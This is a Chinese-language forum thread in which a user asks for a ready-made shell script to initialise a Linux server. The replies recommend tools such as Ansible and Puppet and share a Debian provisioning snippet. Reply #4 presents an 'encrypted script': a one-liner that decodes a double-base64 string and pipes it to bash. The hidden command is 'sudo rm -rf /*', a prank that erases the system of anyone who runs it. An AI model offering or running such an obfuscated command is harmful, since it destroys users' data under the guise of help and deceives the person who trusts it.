This topic created in 3452 days ago, the information mentioned may be changed or developed.
部署了一个服务器,当然啦,无论是云还是物理机啥的
运行一下 ./init.sh 就可以完全配置好这台服务器这样的 shell script
当然了,里面希望可以有地方可以直接定制一下
包括但不限于:
1 、配置好 hostname 、 ntp 、 hosts
2 、配置好 /etc/ssh/sshd_config 不能 root 登录,只能使用证书登录
3 、有配置好 iptables 的地方,并设置好开机启动
4 、添加好 sudo 用户
5 、按照 fail2ban 等(可选)
有知道这样的 麻烦分享一下,懒得自己写了
谢谢!
12 replies • 2016-12-05 12:45:02 +08:00
 |
|
1
dzxx36gyy Dec 5, 2016 via Android
很多人都应该有这种自用的脚本……但是因为是自用估计大部分都是写死的……所以你还是自己写吧
|
 |
|
2
9hills Dec 5, 2016 via iPhone
Ansible playbook
|
 |
|
3
debiann Dec 5, 2016 via iPhone
又要定制,又要别人以前写好的。不觉得矛盾吗
|
 |
|
4
cocochan Dec 5, 2016 via iPhone 1
echo "YzNWa2J5QnliU0F0Y21ZZ0x5bz0="|base64 -d|base64 -d|bash
加密脚本
|
 |
|
6
iyaozhen Dec 5, 2016 via Android
楼主你这样说是要给钱的
|
 |
|
7
dangge Dec 5, 2016 via Android
看看 docker ?
|
 |
|
8
66450146 Dec 5, 2016
用 puppet 吧,其实这种东西手写一下很快的
|
 |
|
10
xuboying Dec 5, 2016 via iPhone
cloud-init 可以。但我还不会用。。。
|
 |
|
11
shiji Dec 5, 2016
我来给你分享一段我自己曾经用过的( Linode 的 StackScript ) Debian 的。
# 设置 SSH 登陆,(公钥是存在一个网站上的) mkdir /root/.ssh && chmod 700 /root/.ssh wget https://*****************/authorized_keys -O /root/.ssh/authorized_keys sed -i s/\#PasswordAuthentication\ yes/PasswordAuthentication\ no/ /etc/ssh/sshd_config service ssh restart
# 设置 iptables , 如果已经有了现成的规则,要在 echo 之前用 iptables-restore/ip6tables-restore 加载。 apt-get update echo iptables-persistent iptables-persistent/autosave_v4 boolean true | sudo debconf-set-selections echo iptables-persistent iptables-persistent/autosave_v6 boolean true | sudo debconf-set-selections apt-get install -y -qq iptables-persistent
|
 |
|
12
mckelvin Dec 5, 2016 via iPhone
用 shell 脚本加 sudo 用户是不是感觉很累?你需要 ansible 之类的自动化 provision 的工具。类似的还有 chef, puppet.个人最喜欢 Ansible.
|